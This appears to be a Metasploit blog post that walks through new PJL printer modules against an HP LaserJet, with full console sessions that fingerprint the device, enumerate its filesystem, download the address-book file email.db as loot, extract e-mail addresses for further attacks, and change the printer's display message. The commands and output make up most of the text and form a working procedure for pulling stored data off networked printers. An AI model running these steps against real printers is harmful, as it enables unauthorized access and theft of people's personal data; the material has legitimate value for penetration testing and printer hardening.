As of this last release, PJL (HP's Printer Job Language) is now a grown-up Rex::Proto protocol! Since extending a protocol in Metasploit is beyond the scope of this post, we'll just be covering how to use the PoC modules included with the new protocol. Feel free to dig around in lib/rex/proto/pjl*, though!

Okay, let's get started!

printer_version_info

First off, we have printer_version_info. This module lets us scan a range of hosts for printer version information. We'll set RHOSTS globally so we don't need to worry about setting it later. :)

msf > use auxiliary/scanner/printer/printer_version_info 
msf auxiliary(printer_version_info) > setg RHOSTS 417.216.55.69
RHOSTS => 417.216.55.69
msf auxiliary(printer_version_info) > run

[+] 417.216.55.69:9100 - HP LaserJet M5035 MFP
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

As you can see, our target is an HP LaserJet M5035 MFP. This gives us a good idea of what to expect while running later modules.

printer_env_vars

printer_env_vars will get us a list of environment variables on the printer. This information isn't necessarily useful for what we're about to do, but it does give us information about the printer's configuration.

msf auxiliary(printer_version_info) > use auxiliary/scanner/printer/printer_env_vars 
msf auxiliary(printer_env_vars) > run

[+] 417.216.55.69:9100
LANG=ENGLISH [22 ENUMERATED]
     ENGLISH
     FRENCH
     GERMAN
     ITALIAN
     SPANISH
     SWEDISH
     DANISH
     NORWEGIAN
     DUTCH
     FINNISH
     PORTUGUESE
     TURKISH
     POLISH
     RUSSIAN
     CZECH
     HUNGARIAN
     CATALAN
     ΑΓΓΛΙΚΑ
     ENGLISH
     ENGLISH
     ENGLISH
     ENGLISH
[snip]

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Since the listing is so long, we've snipped off everything past the language setting.

printer_list_volumes

Now we're going to start mucking with the printer's filesystem. We can list the initialized volumes using printer_list_volumes.

msf auxiliary(printer_env_vars) > use auxiliary/scanner/printer/printer_list_volumes 
msf auxiliary(printer_list_volumes) > run

[+] 417.216.55.69:9100
        VOLUME  TOTAL SIZE      FREE SPACE      LOCATION    LABEL   STATUS
        0:      119754063872    119613587456    DISK 3      ?       READ-WRITE

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

That's a lot of free space! Volume 0: has over a hundred gigs of readable/writable free space. Someone should implement FSDOWNLOAD to take advantage of that. ;)

printer_list_dir

Let's snoop around in 0:\ with printer_list_dir. Take a close look at the directories that pop up. Printers are unassuming, but this causes many people to consider them harmless. In reality, much of what people send through a printer may be stored or at least logged to its filesystem. Yeah, it has a disk. Scary, huh?

msf auxiliary(printer_list_volumes) > use auxiliary/scanner/printer/printer_list_dir 
msf auxiliary(printer_list_dir) > set PATHNAME '0:\'
PATHNAME => 0:\
msf auxiliary(printer_list_dir) > run

[+] 417.216.55.69:9100
. TYPE=DIR
.. TYPE=DIR
PermStore TYPE=DIR
saveDevice TYPE=DIR
webServer TYPE=DIR
FaxIn TYPE=DIR
Fax TYPE=DIR

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_list_dir) > set PATHNAME '0:\saveDevice'
PATHNAME => 0:\saveDevice
msf auxiliary(printer_list_dir) > run

[+] 417.216.55.69:9100
. TYPE=DIR
.. TYPE=DIR
CertMgmt TYPE=DIR
DigitalSend TYPE=DIR
ScanJobs TYPE=DIR
SavedJobs TYPE=DIR
SecurityAttrs TYPE=DIR

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_list_dir) > set PATHNAME '0:\saveDevice\DigitalSend'
PATHNAME => 0:\saveDevice\DigitalSend
msf auxiliary(printer_list_dir) > run

[+] 417.216.55.69:9100
. TYPE=DIR
.. TYPE=DIR
Jobs TYPE=DIR
ImagePipeline TYPE=DIR
Log TYPE=DIR
AddressBook TYPE=DIR

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_list_dir) > set PATHNAME '0:\saveDevice\DigitalSend\AddressBook'
PATHNAME => 0:\saveDevice\DigitalSend\AddressBook
msf auxiliary(printer_list_dir) > run

[+] 417.216.55.69:9100
. TYPE=DIR
.. TYPE=DIR
EmailPDL TYPE=DIR
FolderDestPDL TYPE=DIR
NetFolderPDL TYPE=DIR
speeddial.state TYPE=FILE SIZE=6
speeddial.db TYPE=FILE SIZE=2560
speeddial.bak TYPE=FILE SIZE=2560
email.state TYPE=FILE SIZE=6
email.db TYPE=FILE SIZE=16384
email.bak TYPE=FILE SIZE=16384
fax.state TYPE=FILE SIZE=6
fax.db TYPE=FILE SIZE=2560
fax.bak TYPE=FILE SIZE=2560

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

email.db looks interesting!

printer_download_file

Okay, so we found an interesting file (0:\saveDevice\DigitalSend\AddressBook\email.db) with printer_list_dir. We can now use printer_download_file to download it. The file will be stored in loot.

msf auxiliary(printer_list_dir) > use auxiliary/scanner/printer/printer_download_file 
msf auxiliary(printer_download_file) > set PATHNAME '0:\saveDevice\DigitalSend\AddressBook\email.db'
PATHNAME => 0:\saveDevice\DigitalSend\AddressBook\email.db
msf auxiliary(printer_download_file) > run

[+] 417.216.55.69:9100 - 0:\saveDevice\DigitalSend\AddressBook\email.db
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(printer_download_file) > loot 

Loot
====

host           service  type          name                                            content                   info          path
----           -------  ----          ----                                            -------                   ----          ----
417.216.55.69           printer.file  0:\saveDevice\DigitalSend\AddressBook\email.db  application/octet-stream  Printer file  /home/theplague/.msf4/loot/20140123145418_default_417.216.55.69_printer.file_564610.db

msf auxiliary(printer_download_file) > strings /home/theplague/.msf4/loot/20140123145418_default_417.216.55.69_printer.file_564610.db | tr A-Z a-z | sort -u
[*] exec: strings /home/theplague/.msf4/loot/20140123145418_default_417.216.55.69_printer.file_564610.db | tr A-Z a-z | sort -u

zerocool@nyse
acidburn@otv
joey@gibson

E-mail addresses! Just one of the many things you might find on a printer filesystem... Obviously, the real addresses have been replaced by fake ones, but the significance of this find is the same. In this case, those could have been organization e-mail addresses, which means you would now have usernames you could leverage for further attacks.

printer_ready_message

Okay, phew, we're done with the serious stuff, so let's have a little fun! There's an old trick to change the message on a printer's LCD screen. We're going to use printer_ready_message for that.

Here, we're changing the display to something you all should know. :P

msf auxiliary(printer_download_file) > use auxiliary/scanner/printer/printer_ready_message 
msf auxiliary(printer_ready_message) > set ACTION Change 
ACTION => Change
msf auxiliary(printer_ready_message) > set MESSAGE HACK THE PLANET
MESSAGE => HACK THE PLANET
msf auxiliary(printer_ready_message) > run

[+] 417.216.55.69:9100 - HACK THE PLANET
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

It's probably a good idea to reset the display once you're done trolling. Just set ACTION to Reset and hit run!

msf auxiliary(printer_ready_message) > set ACTION Reset 
ACTION => Reset
msf auxiliary(printer_ready_message) > run

[+] 417.216.55.69:9100 - Processing...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Like a ghost. ;)

Conclusion

If you're new to Metasploit, never fear! You can download it here. If you already have Metasploit installed, these modules are only an msfupdate away!

Credits